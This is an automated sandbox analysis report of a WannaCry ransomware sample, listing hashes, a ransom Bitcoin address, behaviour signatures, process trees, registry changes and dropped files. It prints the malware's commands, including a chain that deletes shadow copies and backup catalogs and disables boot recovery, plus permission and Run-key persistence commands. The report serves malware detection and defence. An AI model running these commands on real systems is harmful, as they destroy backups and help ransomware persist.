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210303-eg4g1z4wd2 10Analysis
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max time kernel
148s -
max time network
149s -
platform
windows7_x64 -
resource
win7v200430 -
submitted
06-07-2020 14:19
Static task
static1
Behavioral task
behavioral1
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win7v200430
Behavioral task
behavioral2
Sample
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Resource
win10
General
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Target
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
-
Size
3.4MB
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MD5
84c82835a5d21bbcf75a61706d8ab549
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SHA1
5ff465afaabcbf0150d1a3ab2c2e74f3a4426467
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SHA256
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
-
SHA512
90723a50c20ba3643d625595fd6be8dcf88d70ff7f4b4719a88f055d5b3149a4231018ea30d375171507a147e59f73478c0c27948590794554d031e7d54b7244
Malware Config
Extracted
C:\Users\Admin\AppData\Local\Temp\@Please_Read_Me@.txt
wannacry
115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn
Signatures
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Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
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Interacts with shadow copies 2 TTPs 1 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
Processes:
vssadmin.exepid process 1440 vssadmin.exe -
Adds Run entry to start application 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run reg.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\coyaaqitjeid629 = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\tasksche.exe\"" reg.exe -
Modifies file permissions 1 TTPs 1 IoCs
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Modifies service 2 TTPs 4 IoCs
Processes:
vssvc.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
Drops startup file 2 IoCs
Processes:
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exedescription ioc process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\~SDBBE7.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\~SDBBFB.tmp ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Suspicious use of SetWindowsHookEx 9 IoCs
Processes:
@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exe@WanaDecryptor@.exepid process 2032 @WanaDecryptor@.exe 1412 @WanaDecryptor@.exe 1412 @WanaDecryptor@.exe 2032 @WanaDecryptor@.exe 1568 @WanaDecryptor@.exe 1568 @WanaDecryptor@.exe 1108 @WanaDecryptor@.exe 1912 @WanaDecryptor@.exe 1952 @WanaDecryptor@.exe -
Suspicious use of AdjustPrivilegeToken 51 IoCs
Processes:
vssvc.exeWMIC.exetaskse.exetaskse.exetaskse.exetaskse.exedescription pid process Token: SeBackupPrivilege 1828 vssvc.exe Token: SeRestorePrivilege 1828 vssvc.exe Token: SeAuditPrivilege 1828 vssvc.exe Token: SeIncreaseQuotaPrivilege 1896 WMIC.exe Token: SeSecurityPrivilege 1896 WMIC.exe Token: SeTakeOwnershipPrivilege 1896 WMIC.exe Token: SeLoadDriverPrivilege 1896 WMIC.exe Token: SeSystemProfilePrivilege 1896 WMIC.exe Token: SeSystemtimePrivilege 1896 WMIC.exe Token: SeProfSingleProcessPrivilege 1896 WMIC.exe Token: SeIncBasePriorityPrivilege 1896 WMIC.exe Token: SeCreatePagefilePrivilege 1896 WMIC.exe Token: SeBackupPrivilege 1896 WMIC.exe Token: SeRestorePrivilege 1896 WMIC.exe Token: SeShutdownPrivilege 1896 WMIC.exe Token: SeDebugPrivilege 1896 WMIC.exe Token: SeSystemEnvironmentPrivilege 1896 WMIC.exe Token: SeRemoteShutdownPrivilege 1896 WMIC.exe Token: SeUndockPrivilege 1896 WMIC.exe Token: SeManageVolumePrivilege 1896 WMIC.exe Token: 33 1896 WMIC.exe Token: 34 1896 WMIC.exe Token: 35 1896 WMIC.exe Token: SeIncreaseQuotaPrivilege 1896 WMIC.exe Token: SeSecurityPrivilege 1896 WMIC.exe Token: SeTakeOwnershipPrivilege 1896 WMIC.exe Token: SeLoadDriverPrivilege 1896 WMIC.exe Token: SeSystemProfilePrivilege 1896 WMIC.exe Token: SeSystemtimePrivilege 1896 WMIC.exe Token: SeProfSingleProcessPrivilege 1896 WMIC.exe Token: SeIncBasePriorityPrivilege 1896 WMIC.exe Token: SeCreatePagefilePrivilege 1896 WMIC.exe Token: SeBackupPrivilege 1896 WMIC.exe Token: SeRestorePrivilege 1896 WMIC.exe Token: SeShutdownPrivilege 1896 WMIC.exe Token: SeDebugPrivilege 1896 WMIC.exe Token: SeSystemEnvironmentPrivilege 1896 WMIC.exe Token: SeRemoteShutdownPrivilege 1896 WMIC.exe Token: SeUndockPrivilege 1896 WMIC.exe Token: SeManageVolumePrivilege 1896 WMIC.exe Token: 33 1896 WMIC.exe Token: 34 1896 WMIC.exe Token: 35 1896 WMIC.exe Token: SeTcbPrivilege 1588 taskse.exe Token: SeTcbPrivilege 1588 taskse.exe Token: SeTcbPrivilege 1476 taskse.exe Token: SeTcbPrivilege 1476 taskse.exe Token: SeTcbPrivilege 432 taskse.exe Token: SeTcbPrivilege 432 taskse.exe Token: SeTcbPrivilege 1204 taskse.exe Token: SeTcbPrivilege 1204 taskse.exe -
Views/modifies file attributes 1 TTPs 1 IoCs
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Suspicious use of WriteProcessMemory 104 IoCs
Processes:
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.execmd.execmd.exe@WanaDecryptor@.exe@WanaDecryptor@.execmd.exedescription pid process target process PID 676 wrote to memory of 872 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe attrib.exe PID 676 wrote to memory of 872 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe attrib.exe PID 676 wrote to memory of 872 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe attrib.exe PID 676 wrote to memory of 872 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe attrib.exe PID 676 wrote to memory of 792 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe icacls.exe PID 676 wrote to memory of 792 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe icacls.exe PID 676 wrote to memory of 792 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe icacls.exe PID 676 wrote to memory of 792 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe icacls.exe PID 676 wrote to memory of 1856 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 676 wrote to memory of 1856 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 676 wrote to memory of 1856 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 676 wrote to memory of 1856 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 676 wrote to memory of 1872 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 676 wrote to memory of 1872 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 676 wrote to memory of 1872 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 676 wrote to memory of 1872 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 1872 wrote to memory of 1908 1872 cmd.exe cscript.exe PID 1872 wrote to memory of 1908 1872 cmd.exe cscript.exe PID 1872 wrote to memory of 1908 1872 cmd.exe cscript.exe PID 1872 wrote to memory of 1908 1872 cmd.exe cscript.exe PID 676 wrote to memory of 2032 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 676 wrote to memory of 2032 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 676 wrote to memory of 2032 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 676 wrote to memory of 2032 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 676 wrote to memory of 2012 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 676 wrote to memory of 2012 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 676 wrote to memory of 2012 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 676 wrote to memory of 2012 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 2012 wrote to memory of 1412 2012 cmd.exe @WanaDecryptor@.exe PID 2012 wrote to memory of 1412 2012 cmd.exe @WanaDecryptor@.exe PID 2012 wrote to memory of 1412 2012 cmd.exe @WanaDecryptor@.exe PID 2012 wrote to memory of 1412 2012 cmd.exe @WanaDecryptor@.exe PID 2032 wrote to memory of 1048 2032 @WanaDecryptor@.exe taskhsvc.exe PID 2032 wrote to memory of 1048 2032 @WanaDecryptor@.exe taskhsvc.exe PID 2032 wrote to memory of 1048 2032 @WanaDecryptor@.exe taskhsvc.exe PID 2032 wrote to memory of 1048 2032 @WanaDecryptor@.exe taskhsvc.exe PID 1412 wrote to memory of 1800 1412 @WanaDecryptor@.exe cmd.exe PID 1412 wrote to memory of 1800 1412 @WanaDecryptor@.exe cmd.exe PID 1412 wrote to memory of 1800 1412 @WanaDecryptor@.exe cmd.exe PID 1412 wrote to memory of 1800 1412 @WanaDecryptor@.exe cmd.exe PID 1800 wrote to memory of 1440 1800 cmd.exe vssadmin.exe PID 1800 wrote to memory of 1440 1800 cmd.exe vssadmin.exe PID 1800 wrote to memory of 1440 1800 cmd.exe vssadmin.exe PID 1800 wrote to memory of 1440 1800 cmd.exe vssadmin.exe PID 1800 wrote to memory of 1896 1800 cmd.exe WMIC.exe PID 1800 wrote to memory of 1896 1800 cmd.exe WMIC.exe PID 1800 wrote to memory of 1896 1800 cmd.exe WMIC.exe PID 1800 wrote to memory of 1896 1800 cmd.exe WMIC.exe PID 676 wrote to memory of 920 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 676 wrote to memory of 920 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 676 wrote to memory of 920 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 676 wrote to memory of 920 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskdl.exe PID 676 wrote to memory of 1588 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 676 wrote to memory of 1588 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 676 wrote to memory of 1588 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 676 wrote to memory of 1588 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe taskse.exe PID 676 wrote to memory of 1568 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 676 wrote to memory of 1568 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 676 wrote to memory of 1568 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 676 wrote to memory of 1568 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe @WanaDecryptor@.exe PID 676 wrote to memory of 1456 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 676 wrote to memory of 1456 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 676 wrote to memory of 1456 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe PID 676 wrote to memory of 1456 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe cmd.exe -
Loads dropped DLL 39 IoCs
Processes:
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.execscript.execmd.exe@WanaDecryptor@.exetaskhsvc.exepid process 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 1908 cscript.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 2012 cmd.exe 2012 cmd.exe 2032 @WanaDecryptor@.exe 2032 @WanaDecryptor@.exe 1048 taskhsvc.exe 1048 taskhsvc.exe 1048 taskhsvc.exe 1048 taskhsvc.exe 1048 taskhsvc.exe 1048 taskhsvc.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe 676 ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe -
Executes dropped EXE 16 IoCs
Processes:
taskdl.exe@WanaDecryptor@.exe@WanaDecryptor@.exetaskhsvc.exetaskdl.exetaskse.exe@WanaDecryptor@.exetaskdl.exetaskse.exe@WanaDecryptor@.exetaskdl.exetaskse.exe@WanaDecryptor@.exetaskdl.exetaskse.exe@WanaDecryptor@.exepid process 1856 taskdl.exe 2032 @WanaDecryptor@.exe 1412 @WanaDecryptor@.exe 1048 taskhsvc.exe 920 taskdl.exe 1588 taskse.exe 1568 @WanaDecryptor@.exe 1556 taskdl.exe 1476 taskse.exe 1108 @WanaDecryptor@.exe 1860 taskdl.exe 432 taskse.exe 1912 @WanaDecryptor@.exe 1608 taskdl.exe 1204 taskse.exe 1952 @WanaDecryptor@.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
taskhsvc.exepid process 1048 taskhsvc.exe 1048 taskhsvc.exe 1048 taskhsvc.exe -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
Processes:
@WanaDecryptor@.exepid process 1568 @WanaDecryptor@.exe -
Wannacry
WannaCry is a ransomware cryptoworm.
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Modifies registry key 1 TTPs 1 IoCs
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
Processes:
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe@WanaDecryptor@.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@WanaDecryptor@.bmp" ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\@WanaDecryptor@.bmp" @WanaDecryptor@.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"C:\Users\Admin\AppData\Local\Temp\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe"1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Sets desktop wallpaper using registry
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C:\Windows\SysWOW64\attrib.exeattrib +h .2⤵
- Views/modifies file attributes
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C:\Windows\SysWOW64\icacls.exeicacls . /grant Everyone:F /T /C /Q2⤵
- Modifies file permissions
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\cmd.execmd /c 19491594052355.bat2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cscript.execscript.exe //nologo m.vbs3⤵
- Loads dropped DLL
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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe@WanaDecryptor@.exe co2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exeTaskData\Tor\taskhsvc.exe3⤵
- Loads dropped DLL
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
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C:\Windows\SysWOW64\cmd.execmd.exe /c start /b @WanaDecryptor@.exe vs2⤵
- Suspicious use of WriteProcessMemory
- Loads dropped DLL
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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe@WanaDecryptor@.exe vs3⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
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C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet4⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\vssadmin.exevssadmin delete shadows /all /quiet5⤵
- Interacts with shadow copies
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C:\Windows\SysWOW64\Wbem\WMIC.exewmic shadowcopy delete5⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe2⤵
- Suspicious use of AdjustPrivilegeToken
- Executes dropped EXE
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C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe@WanaDecryptor@.exe2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
- Sets desktop wallpaper using registry
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C:\Windows\SysWOW64\cmd.execmd.exe /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "coyaaqitjeid629" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f2⤵
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C:\Windows\SysWOW64\reg.exereg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "coyaaqitjeid629" /t REG_SZ /d "\"C:\Users\Admin\AppData\Local\Temp\tasksche.exe\"" /f3⤵
- Adds Run entry to start application
- Modifies registry key
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C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe2⤵
- Suspicious use of AdjustPrivilegeToken
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe@WanaDecryptor@.exe2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe2⤵
- Suspicious use of AdjustPrivilegeToken
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe@WanaDecryptor@.exe2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exetaskdl.exe2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\taskse.exetaskse.exe C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe2⤵
- Suspicious use of AdjustPrivilegeToken
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe@WanaDecryptor@.exe2⤵
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
-
C:\Windows\system32\notepad.exe"C:\Windows\system32\notepad.exe"1⤵
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Modifies service
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\0.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\00000000.res
-
C:\Users\Admin\AppData\Local\Temp\1.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\10.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\11.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\12.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\13.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\14.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\15.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\16.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\17.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\18.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\19.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\19491594052355.bat
-
C:\Users\Admin\AppData\Local\Temp\2.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\20.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\3.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\4.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\5.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\6.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\7.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\8.WNCRYT
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C:\Users\Admin\AppData\Local\Temp\9.WNCRYT
-
C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe
-
C:\Users\Admin\AppData\Local\Temp\@WanaDecryptor@.exe.lnk
-
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\LIBEAY32.dll
-
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\SSLEAY32.dll
-
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\libevent-2-0-5.dll
-
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\libgcc_s_sjlj-1.dll
-
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\libssp-0.dll
-
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\taskhsvc.exe
-
C:\Users\Admin\AppData\Local\Temp\TaskData\Tor\zlib1.dll
-
C:\Users\Admin\AppData\Local\Temp\b.wnry
-
C:\Users\Admin\AppData\Local\Temp\c.wnry
-
C:\Users\Admin\AppData\Local\Temp\c.wnry
-
C:\Users\Admin\AppData\Local\Temp\m.vbs
-
C:\Users\Admin\AppData\Local\Temp\msg\m_bulgarian.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_chinese (simplified).wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_chinese (traditional).wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_croatian.wnry
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C:\Users\Admin\AppData\Local\Temp\msg\m_czech.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_danish.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_dutch.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_english.wnry
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C:\Users\Admin\AppData\Local\Temp\msg\m_filipino.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_finnish.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_french.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_german.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_greek.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_indonesian.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_italian.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_japanese.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_korean.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_latvian.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_norwegian.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_polish.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_portuguese.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_romanian.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_russian.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_slovak.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_spanish.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_swedish.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_turkish.wnry
-
C:\Users\Admin\AppData\Local\Temp\msg\m_vietnamese.wnry
-
C:\Users\Admin\AppData\Local\Temp\r.wnry
-
C:\Users\Admin\AppData\Local\Temp\s.wnry
-
C:\Users\Admin\AppData\Local\Temp\t.wnry
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exe
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exe
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exe
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exe
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exe
-
C:\Users\Admin\AppData\Local\Temp\taskdl.exe
-
C:\Users\Admin\AppData\Local\Temp\taskse.exe
-
C:\Users\Admin\AppData\Local\Temp\taskse.exe
-
C:\Users\Admin\AppData\Local\Temp\taskse.exe
-
C:\Users\Admin\AppData\Local\Temp\taskse.exe
-
C:\Users\Admin\AppData\Local\Temp\taskse.exe
-
